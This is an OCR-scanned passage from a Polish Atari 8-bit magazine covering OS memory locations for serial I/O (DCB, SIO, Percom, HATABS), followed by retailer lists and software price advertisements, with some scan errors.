nikacji z urządzeniami zewnętrznymi do własnych po¬ 
trzeb. OS został więc napisany tak, aby umożliwiał odna¬ 
lezienie przez odpowiednie wektory procedur obsługi 
wszystkich urządzeń zewnętrznych oraz dołączenie włas¬ 
nych. Trzecia strona pamięci używana Jest przez system 
operacyjny do przechowywania Informacji związanych 
z operacjami wejścia/wyjścia. 

Lokacje 768-779 ($0300-$030b) zawierają tzw. Devl- 
ce Control Błock czyli blok sterowania urządzeniem, 
wykorzystywany podczas operacji z użyciem szyny szere¬ 
gowej. W ROM-le małego ATARI znajdują się procedury 
obsługi transmisji szeregowej, które z tego obszaru pa¬ 
mięci odczytują potrzebne parametry i tutaj także wpisu¬ 
ją informacje o stanie wykonanej operacji, z których mo¬ 
gą korzystać Inne programy. Zestaw tych procedur nazy¬ 
wamy umownie SIO (z ang. Serial Input/Output - we¬ 
jście/wyjście szeregowe). 

768, $0300 DDEVIC 

W tej komórce pamięci znajduje się umowna liczba okre¬ 
ślająca urządzenie, którego dotyczyła ostatnio wykonywana 
operacja. Możemy tu znaleźć następujące wartości: 

• 49-52 ($31-634) stacje dysków o numerach od 1 do 

4 (od Dl: do D4:), 

• 64 ($40) drukarka nr 1 (PI:), 

• 79 ($4f) drukarka nr 2 (P2:). 

• 80-83 ($50-$53) porty RS232 (od RI: do R4:). 

Wartości tych nie powinno się zmieniać, tym bardziej, 
że niosą one dość ciekawe Informacje. Z publikowanego 
na łamach TA kursu programowania mikroprocesora 


6502 na pewno dowiedzieliście się, że ładnie napisane 
programy rozpoznają tzw. urządzenie domyślne czyli to, 
z którego zostały załadowane. Informację o takim urzą¬ 
dzeniu możemy znaleźć właśnie w DDEV1C. 

769, $0301 DUNIT 

Bajt zawarty w tej komórce pamięci oznacza numer 
urządzenia, którego dotyczy transmisja. 

770, $0302 DCOMND 

Do tej komórki pamięci należy przed rozpoczęciem 
transmisji szeregowej wpisać kod komendy do wykona¬ 
nia. Dozwolone kody komend lo: 

• 82 ($52, ’R’) odczyt (ang. read), 

• 87 ($57. ’W) zapis z weryfikacją (ang. write), 

• 80 ($50, ’P’) zapis bez weryfikacji (ang. put), 

• 83 ($53, ’S’) odczyt stanu urządzenia (ang. status), 

• 33 ($21, ’!’) formatowanie dyskietki w pojedynczej gę¬ 
stości, 

• 34 ($22, ’"’) formatowanie dyskietki w podwójnej gę¬ 
stości. 

Niektóre źródła podają również Inne dozwolone komen¬ 
dy, ale z praktyki wynika, że nie mają one zastosowania do 
współcześnie stosowanych urządzeń szeregowych. Cieka¬ 
wym natomiast rozszerzeniem zestawu poleceń jest tzw. 
standard Percom stosowany np. w popularnym Top Drive. 
Pozwala on na użycie dodatkowych rozkazów: 

• 78 ($4e, ’N’) odczyt Percom, 

• 79 ($4f, ’0’) zapis Percom. 

Po odczytaniu Percom, we wskazanym buforze (patrz 
772-773, $304-$305) pojawia się dwunastobajtowy 
blok Informacji, mówiących o aktualnej konfiguracji sta¬ 
cji dysków. Struktura tego bloku Jest następująca: 


nr 

baj tu 

znaczenie 

0 

liczba ścieżek na dyskietce znajdującej się w stac|l 

1 

krok głowicy 

213 

liczba sektorów na ścieżce (18 dla gęstości 
pojedynczej 1 podwójnej, 26 dla gęstości 
rozszerzonej) 

4 

liczba głowic w stacji dysków, zmniejszona o 1 

5 

rodzaj zapisu (0 dla gęstości pojedynczej 4 dla 
rozszerzonej i podwójnej) 

617 

liczba bajtów w sektorze (128 dla gęstości 
pojedynczej 1 rozszerzonej, 256 dla podwójnej) 

8 

sygnał gotowości napędu 

9 

szybkość napędu 

101 11 

nieużywane 


W standardzie Percom wszystkie słowa podawane są 
w kolejności: starszy 1 młodszy bajt, a więc odwrotnej 
niż zazwyczaj. 


Podobny blok można przygotować samodzielnie 1 prze¬ 
słać do stacji dysków, zmuszając Ją do pracy w nietypo¬ 
wych formatach. Oczywiście dotyczy to tylko tych stacji, 
które rozpoznają standard Percom. Każdy program, któ¬ 
ry chce korzystać z Percom powinien najpierw rozpo¬ 
znać, czy stacja dysków go akceptuje. W tym celu wy¬ 
starczy wysłać komendę odczytania Percom 1 czekać na 
Informację o stanie operacji. Jeśli stan operacji Jest rów¬ 
ny 1, to wszystko w porządku, wartość ujemna sygnali¬ 
zuje, że stacja dysków nie umie obsługiwać Percom. 

Posiadacze stacji dysków firmy TOMS znają program 
służący do kopiowania plików na 1 z dyskietek w forma¬ 
cie IBM. Format ten Jest Inny od formatów stosowanych 
dla dyskietek ATARI, różni się Ilością sektorów na ścież¬ 
ce 1 Ilością bajtów w sektorze, ale dane z dyskietek IBM 






można odczytać właśnie przy pomocy Percom, znając 
odpowiednie wartości. 

771, $0303 DSTATS 

Z tej komórki można odczytać Informację o stanie ope¬ 
racji wejścia/wyjścia. Liczba ujemna oznacza, że pod¬ 
czas transmisji wystąpił błąd. 

772-773, $0304-$0305 DBUFLO/HI 

Do tego słowa należy wpisać adres bufora, zawierają¬ 
cego dane do zapisu lub bufora, w którym powinny zna¬ 
leźć się dane odczytane z urządzenia zewnętrznego. Ope¬ 
racja odczytu stanu urządzenia wymaga podania adresu 
bufora DVSTAT (746-749, $02ea-$02ed) 1 wpisania li¬ 
czby 4 do słowa DBYTLO/HI (776-777, 60308-60309). 

774, $0306 DTIMLO 

Zawartość tej komórki pamięci określa czas po jakim 
należy zakończyć operację na urządzeniu zewnętrznym. 
System operacyjny wpisuje tutaj 31. 

775, $0307 DUNUSE 

Nieużywany bajt. 

776-777, $0308-$0309 DBYTLO/HI 

To słowo zawiera Informację o tym. Ile bajtów zostało 
lub ma być przesłane w trakcie transmisji szeregowej. 

778-779, $030a-$030b DAUXl/2 

Komórki używane przez SIO do różnych celów, np. do 
przechowywania numeru sektora na dyskietce. 

Lokacje 780-793 (S030c-S0319) zawierają różnorod¬ 
ne Informacje używane przez SIO. 

780-781, $030c-$030d TIMER1 

Wartość początkowa licznika używanego podczas od¬ 
czytu przez SIO. 

782, $030e ADDCOR 

Znacznik dodawania 1 korekcji prędkości używany 
podczas odczytu przez SIO. 

783, $030f CASFLG 

Znacznik operacji kasetowych. Ustawiony oznacza, że 
operacja dotyczy magnetofonu, skasowany - Innego 
urządzenia szeregowego. 

784-785, $0310-$0311 TIMER2 

Wartość końcowa licznika używanego podczas trans¬ 
misji szeregowej. Liczniki TIMER1 1 TIMER2 są używane 
do kontrolowania prędkości transmisji. Pierwszy bajt 
każdego z nich zawiera wartość z VCOUNT (54283, 
6d40b), a drugi wartość zegara z RTCLOK (20, 614). 
Różnica pomiędzy tymi wartościami używana jest do ob¬ 
liczania aktualnej prędkości transmisji. 

786-787, $0312-$0313 TEMP1 

Dwubajtowy bufor używany przez procedury transmi¬ 
sji szeregowej podczas obliczania prędkości transmisji. 

788, $0314 TEMP2 

Bajt pomocniczy używany przez SIO. 

789, $0315 TEMP3 

Bajt pomocniczy używany przez SIO. 


790, $0316 SAVIO 

W tej komórce pamięci znajduje się Informacja o sta¬ 
nie czwartego bitu rejestru SKSTAT (53775, 6d20f) ua¬ 
ktualniana po odebraniu każdego bitu podczas transmi¬ 
sji szeregowej. 

791, $0317 T1MFLG 

Liczba określająca, jak długo należy oczekiwać na 
odebranie pierwszego baj tu rekordu kasetowego. Proce¬ 
dury transmisji szeregowej zmniejszają tę liczbę podczas 
oczekiwania na dane 1 sygnalizują błąd, kiedy osiągnie 
zero. W ten sposób wykrywa się nieprawidłową prędkość 
odczytu z kasety. 

792, $0318 STACKP 

Wskaźnik stosu używany podczas transmisji szeregowe). 
Wskazuje na bajt na stosie, używany podczas transmisji. 

793, $0319 TSTAT 

Procedury transmisji szeregowej używają tej komórki 
do tymczasowego przechowywania stanu operacji jako 
kopii rejestru STATUS (48, 630). 

W systemie operacyjnym małego ATARI każde urzą¬ 
dzenie zewnętrzne ma swój symbol literowy oraz proce¬ 
dury, zajmujące się obsługą transmisji z/do tego urzą¬ 
dzenia. Kiedy piszemy w BASIC-u np.: 

OPEN #1,4,0,"C:" 

to system operacyjny poszukuje informacji o urządzeniu 
"C:", a po jej znalezieniu zleca odpowiednim procedurom 
przygotowanie tego urządzenia do odczytu. Oczywiście 
Informacje o urządzeniu muszą znajdować się w odpo¬ 
wiednim miejscu pamięci. Takim miejscem jest obszar 
794-831 (6031a-$033f), zwany HATABS. Zawiera on 
nie tylko Informacje o urządzeniu "C:", ale o wszystkich 
urządzeniach zewnętrznych dołączonych do komputera. 
HATABS podzielony jest na trzybajtowe grupy, z których 
każda zawiera literowy identyfikator urządzenia, np. P, 
C, E, S, K oraz adres tablicy zawierającej adresy po¬ 
szczególnych procedur obsługi danego urządzenia. Jeśli 
urządzeń jest mniej, niż możliwych wpisów w HATABS, 
to pozostała część HATABS jest wypełniona zerami. 

W tablicy obsługi urządzenia wpisane są kolejno adre¬ 
sy procedur: 

• otwarcia urządzenia (przygotowania go do operacji 
wejścia/wyjścia), 

• zamknięcia urządzenia (zakończenia operacji wej¬ 
ścia/wyjścia), 

• odczytu jednego bajtu z urządzenia, 

• zapisu jednego bajtu do urządzenia, 

• odczytu stanu urządzenia, 

• obsługi specjalnych komend 
pomniejszone o jeden oraz 

• • skok do procedury inicjalizacjl urządzenia. 

Aby zainstalować własne procedury obsługi urządze¬ 
nia, należy załadować je do pamięci, a następnie odna¬ 
leźć pierwsze wolne miejsce w HATABS i wpisać do nie¬ 
go identyfikator naszego urządzenia oraz adres tablicy 
obsługi. Ciekawe jest to, że nie musimy martwić się, gdy 
nazwa naszego urządzenia pokrywa się z nazwą już Ist¬ 
niejącą. System operacyjny przeszukuje HATABS od ty¬ 
łu, a więc znajdzie naszą nazwę wcześniej. 

794-831, $031 a-$033ff HATABS 

Tablica adresów procedur obsługi urządzeń. 

Jarosław Syrylak 


Wykaz punktów sprzedających bierzace i aktualne numery Tajemnic Atari. Drukiem pogrubionym 
zaznaczono miejsca, w których można równocześnie nabyć legalne oprogramowanie firmy 

L. K. Avalon. 


DKZAJA 

Mirowska 6, Częstochowa 

MIKROMAN 
Plebiscytowa 31, Katowice 
Rynek 4, Rybnik 
DH HERMES, Rybnik 
SUPERMARKET 
Sosnowiec 

Wojska Polskiego 14, 
Bielsko-Biała 

KRYMARYS 
Toruńska 63, Koło 

Księgarnia Techniczna 
Podwale 4, Kraków 

BIT-PLUS 

Bieżanowska 1, Kraków 

RETURN Studio Komputerowe 
Zamojska 25, Lublin 

POMAREX Lublin 
Bernardyńska 20, 

Niecała 12 

Księgarnia Techniczna 
Komuny Paryskiej 5a, 

Łódź 


#TRACK# 

Reymonta 23, Opole 
Kołłątąja 11, Opole 

Zakład Usług Komputerowych 
Ogrody lla, Ostrowiec Św. 

P.H. METRO - bms 
Ratajczaka 31, Poznań 

Księgarnia Techniczna "DOM 
KSIĄŻKI" 

Paderewskiego 6, Poznań 
BAJT 

Rejtana 33, Rzeszów 
DĄBI 

Szopena, Rzeszów 
BARTEK 

Kościuszki. Rzeszów 

DOMAR 

Zygmuntowska, 

Rzeszów 

STEL-DOM 
Pomorska 7, Słupsk 

JOCKER 
Mickiewicza 15, 

Stalowa Wola 


SONIX Sp. z. o. o. 

Rapackiego 3, Szczecin 
DT Centrum, Szczecin 
Rydla (Helios 2), 

Szczecin 

KWANT Agencja Handlowa 
Żydowska 6, Tarnów 

COMPUTER CENTER WARS 
Marszałkowska 104/122 
Warszawa 

ATARI STUDIO 
Generała Abrahama 4 
Warszawa 

O.K.W. Elektronika 
Mokotowska 51/53, 

Warszawa 

OSKAR Warszawa 
Igańska 26 
Grochowska 207 
(CNI WERS AM) 

Jana Pawła II 58 (MAXIM) 

TAL Warszawa 
Grójecka 65a 
Bracka 25 
PDTWola 
PDT Praga 


DOMAIN SOFT 
Kołłątąja 312, Wrocław 

Księgarnia Staromiejska 
Żeromskiego 16, 

Zielona Góra 

GAMĘ SOFT 
Francuska 52 
Zielona Góra 

Zachęcamy właścicieli sklepów 
zainteresowanych sprzedażą na¬ 
szego pisma do kontaktu z naszą 
firmą. Najszybszy kontakt tele¬ 
foniczny pod numer: Rzeszów 
374-71 wew. 275, 274 w godz. 
7.3015.00. Posiadamy szeroki 
asortyment legalnych progra¬ 
mów przeznaczonych dla róż¬ 
nych typów komputerów oraz 
akcesoriów kompyterowych. 
Oferujemy Korzystne warunki 
współpracy. Firmy, bądź sklepy 
zainteresowane kolportażem ga¬ 
zet otrzymują je na zasadach 
komisowych, a ponadto ich ad¬ 
resy będą co miesiąc drukowa¬ 
ne w TA, co stanowi dobrą re¬ 
klamę. 


L. K. AVALON skr.46 

38-100 STRZYŻÓW 

proponuje: 


Filtry monitorowe siatkowe 

mono/kolor, 14 cali 

190.000 

mono/kolor, 14 cali z uziemieniem 

230.000 

Akcesoria 


rozgałęziacz: TV - komputer/antena 

35.000 

pokrywy na komp. Atari XL lub XE 

50.000 

taśma do drukarek STAR LC 10/20 

70.000 

I MICROPRINT - umożliwiające podłączenie 

do Atari dowolnej drukarki 

190.000 

dyskietka czyszcząca 5.25' 

50.000 

pudełka na dyskietki 5.25’ o pojemn.: 


5 szt. 

25.000 

10 szt. 

30.000 

50 szt. 

100.000 

100 szt. 

130.000 

Literatura 


Leksykon komp. dla początkujących 

25.000 

Słownik term. i komunikatów komp 

25.000 

Instrukcja Atari 65 XE/130 XE 

30.000 

Atari Basic dla dzieci 

30.000 

Logo Atari 

30.000 

Poznajemy komputer Atari XE/XL 

30.000 

Mac 65 

30.000 

Opisy gier na małe Atari 

35.000 

Atari basie 

55.000 

Atari logo 

55.000 

Do łącznego zamówienia należy doliczyć 

koszt wysyłki (20.000 zł). W przypadku za- 

mówienia również oprogramowania 

z oferty 1 

na ostatniej stronie pisma, koszt wysyłki 

nie Jest doliczany. Wszystkie ceny podane 

sa w zł 1 ważne są do ukazania się nastę- 

| pnego numeru Tajemic Atari. 

_ 






ŁtidJDU^s: 




Zamówienia na kartach pocztowych 
które powinny zawerac 
wyszczególnienie rodzaju nośnika 
(kaseta lub dysk) oraz dokładny 
adres zamawia ącego 
/ kierować do 


aares zamawia ? 
ggu - prosimy kierów, 

(STOPI l» 

\ / tkr MMI 


ik too Itwr ** - 

Uregulowanie należności następuje 
przy odbiorze przesyłk 


Programy wydane przez L.K. AVALON na 
hrencjf ZEPPELIN GAMES 


BURK78 8CAKY 8CHOOL 

CAYERN1A 

MRAXrORCB 

NWJACOMMANDO 

8PEED ACE 

STACH UP 

ZYBEZ 


OfŁy oraz krótkie recenzje wewnątrz numeru. 


Cena jednej gry; 42.000 zł 


A.D. 2044 cena:kaseta.42 000 zł 

dysk:40 000 zł 

- gra przygodowa (na motwach filmu 'Seks 
misja 1 ) 

ADAX cena: 43.000 zł 

- komnałówka. misja zwiadowcy na plane¬ 
cie Adax. 

AUTOMAT cena: 45 000 zł 

PERKUSYJNY- program użytkowy do 
tworzenia "muzyczek" komputerowych, ob¬ 
szerna Instrukcja obsługi. 

CAPTAIN GATHER cena. 39 000 zł 

- gra logiczna, pierwsze plansze wydają się 

łatwe 

CHANOB cena: 40 000 zł 

- coś dla miłośników łamigłówek 

COHgmJLdllOEI cena: 40.000 zł 

- gra ekonomiczna. 

CHAOS SCU8IC cena: 45.000 zł 

COMPOSSR - pakiet zawierający pro¬ 
gram do komponowania, moduł odtwarza¬ 
jący oraz wyczerpującą instrukcję. 
DACIOE AR cena: 89 000 zl 

- gra logiczna kolejne przygody dzielnego 
Kapitana Gathera 

DAKKMESSHOUR cena. 42 000 

gra komnatowa - z ostatniej chwili. 

D1G1 PUCK cena-42 000 zł 

- Robbo? Nie! Chodzący telewizor 

GOLD HUNTER cena. 40.000 zł 

- gra przygodowa poszukiwacz złota 

w akcji. 

HANS KLOSS cena: 40.000 zł 

- gra przygodowo-zręcznośdewa. poszuki¬ 
wania planów tajnej broni w bunkrze Wolf 
schanze, 

KLĄTWA cena: 46.000 zł 

gra przygodowa koncepcja i grafika po¬ 
dobna jak w A.D 2044 
KURS FIZYKI cena 46 000 zl 

- program edukacyjny dudnienia, załamu 

nic i odbicie fali, efekt Dopplera. 
LASERMAN1A cena 40.000 zł 

ROBBO KONSTRUKTOR - efektowna 
gra logiczna oraz program użytkowy po¬ 
zwalający na tworzenie własnych wersji 
gry ROBBO 

LOR1BFTS TOMB cena: 39.000 zł 

- ekspedycja archeologiczna do grobowca 
faraona 

MAJOR BROJCE cena:39.O00 zł 

- gra zręcznościowo-logłczna 

MISJA, FRED cena: 40.000 zł 

- zmagania komandosa w tajnej MISJI; 

- wędrówka przez pełną niebezpieczeństw 
krainę. 

PANTHER cena: 45.000 zł 

- wielofunkcyjny edytor tekstów pozwalają¬ 
cy drukować po polsku na wszystkich po¬ 
pularnych drukarkach 

PANTHER + MICROPREtn 

cena: 220.000 zł 

PIEKIEŁKO cena.40:0Q0zł 

- prawdziwie piekielna gra, ale wciągająca 

gUICK ASSEMBLER cena. 64 000 zł 

- zestaw do programowania w języku 
asemblera 

ROBBO cena: 30 000 zl 

wspaniała gra zręcznościowo-logiczna. 

RUCU cena: 39 000 zł 

- komputerowa kostka RUBIKA 

SAPER cena. 39.000 zl 

- gra lagłczno-zręcznościowa 
SZPERACZ DYSKOWY cena 45.000 zł 

- program użytkowy służący do obsługi sze¬ 
roko pojętych operacji dyskowych 

THE JET ACTION cena 41 000 zt 

- kosmiczny RIVBR RAID dla łamaczy joy¬ 
sticków 

TRJX cena 39 000 zl 

- wciągłjąca gra zręcznościowo-logiczna. 

U 235 cena 39 000 zł 

- krótka recenzja "rozkosz łamania głowy” 

UCZEŃ cena: 42 000 zł 

CZARNOKSIĘŻNIKA - gra komnatowa, 
przygody adepta czarnej magii. 

UPIÓR cena 42.000 zł 

- gra komnatowo-łabiryntowa. przygody 
śmiałka w zamku pełnym niebezpiecznych 
stworów 


Wymienione niżej programy nie po¬ 
wstały w naszej firmie. Zachęcamy Jed¬ 
nak do Ich zakupu. 


ARTEFAKT cena: 57 000 zł 

■ PRZODKÓW - ponad 100 różnorodnych 
komnat, znakomita grafika, płynna anima¬ 
cja 

m BANG! BANK c« m. 42.000 zł 

S - strze lanina na Dzikim Zachodzie. 


BATTLE 8H1PS - 4 OOOżł 

■ - gra w "statki" z komputerem, 

BERTYS tuj* 41 000 zł 

• -ymagąnia z wrogim komputerki* 
na planecie Bertyx. 

DUCH. ROBAL i *am 42000 zł 


- zestaw dwóch gier labiryntowych. 

GALLAHAD utul- 43 .000 zł 

^ - gra komnatowa, walka Tristan* ż t^^iatę- 

pnym Magiem. 

GEOGRAFIA POLSKI rsna‘ 37 000 zł 

■ - prosty program edukacyjny klasa V i VI). 

GEOGRAFIA ŚWIATA cena: 46.000 zt 

- program edukacyjny (państw, stoik , wa¬ 
luty lip ). 

HUMAŃ < «UU 44.000 zł 

* - gra zręcznościowo-logiczna. 

I.g. MASTER sssr 42.000 zł 

■ • gra Zręcznościowo- ednkKyjna. 

# KOLONY i sną: 41 000 zł 

■ - grk ekonomiczna, recenzja t Tkje® i- 
cach A tarł 2/92 

KULT 44 000 zł 

• •*. pomysł jakby znany (ZYBEXj, szybi4 ak¬ 
cja. dużo strzelania. 


MASTER HE AD i 44000 zł 

■ - gra logiczna z kllkunastomimitową muzy- 
ką. 

MIECZE VALDGIRA cęna: 41.000 zł 

■ - przygodowa gra fantasy z doskonal. 0 mu¬ 
zyką. 

MONSTRUM cena: 42.000 zł 

■ - popularny "robal" w nowej prawie 

MÓZGPROCESOR cena: 44.000 zł 

■ - wznowienie znanej gry tekstowej, 

MUFF, DRUTT cena: 42 000 zl 

S - zestaw dwóch gier zręcznościowych 


NEW WORDS cena: 46 000 zł 

* program edukacyjny, kurs języka angiel¬ 
skiego. z instrukcją 

OPERATION BLOOD cena: 42 000 zt 
E - krwawe starcie z niezliczoną Ilością prze¬ 
ciwników (Operatioh Wolf) 
ORTOGRAFIA cena: 41.000 zł 

■ program edukacyjny, nauka połączona 
z dobrą zabawą 

PONG cena: 42 000 zł 

■ gra zręcznościowa 

PROBLEM JASIA cena: 42 000 zł 

■ - puzzle ze zdjęciami popularnych aktorów 

PRZEMYTNIK eena.42 000 zł 

■ gra ekonomiczna 

RIOT cena: 42 000 zt 

■ - walki karat- * cygańskiej dzielnicy 

RODERIC cena: 41 000 zł 

■ przygody rycerza w starym zamczysku 

SKARBNIK cena: 42 000 zł 

■ gra logiczna 

TACTIC cena: 41 000 zł 

■ gra logiczncj-zręcznośdowa recenzj 
w Tajemnicach A tar i 2/92 

TANKS cena: 42 000 zł 

■ - walka czołgów w labiryncie 

THE COIWICTS cena: 42 000 zł 

■ gra labiryntowa (podobna do ROBBO) 

VTBEOGRAPH cena: 45 000 zł 

■ - narzędzie dó tworzenia czołówek 'i 
mów lrtdeo 

ZESTAWY GIER Z TA. 

■ 1 Fhc, QQ. Robal. Dalej Niż Słońce. 

2 Heartlight, Puzzle. Oczko 

3. Odsiecz. Fbllow. Klocki. Pustynna Burza. 

Cena zestawu: 30 000 zł 
Cena kompletu (3 zestawy): 75 000 zł 

Życzymy miłych zakupów! 



















